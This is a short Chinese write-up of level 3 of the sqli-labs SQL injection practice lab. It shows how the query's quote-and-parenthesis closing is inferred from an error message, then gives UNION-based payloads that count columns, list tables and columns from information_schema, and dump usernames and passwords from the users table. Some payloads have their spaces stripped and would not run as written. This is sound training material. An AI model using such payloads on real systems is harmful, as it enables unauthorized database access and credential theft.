sql-labs 第三关

sql-labs 第三关

传入?id=1和2-1发现回显不一样,排除字符型注入,直接裸单引号注入发现报错

错误内容为'1'') LIMIT 0,1
把1’还原成$id并把括号配对成功可以推断原题可能为

('$id')LIMIT0,1

所以还需要闭合小括号1')--+回显正常
接下来和前两道题一样,判断列数,找数据库名,表名,字段内容,显示用户信息

?id=1') order by 3--+ ?id=1')order by4--+

?id=-1')unionselect1,1,database()--+

?id=-1') union select 1,1,group_concat(table_name) from information_schema.tables where table_schema='security' --+

?id=-1') union select 1,1,group_concat(column_name) from information_schema.columns where table_name='users' --+

?id=-1')unionselect1,1,group_concat(username,id,password)fromusers--+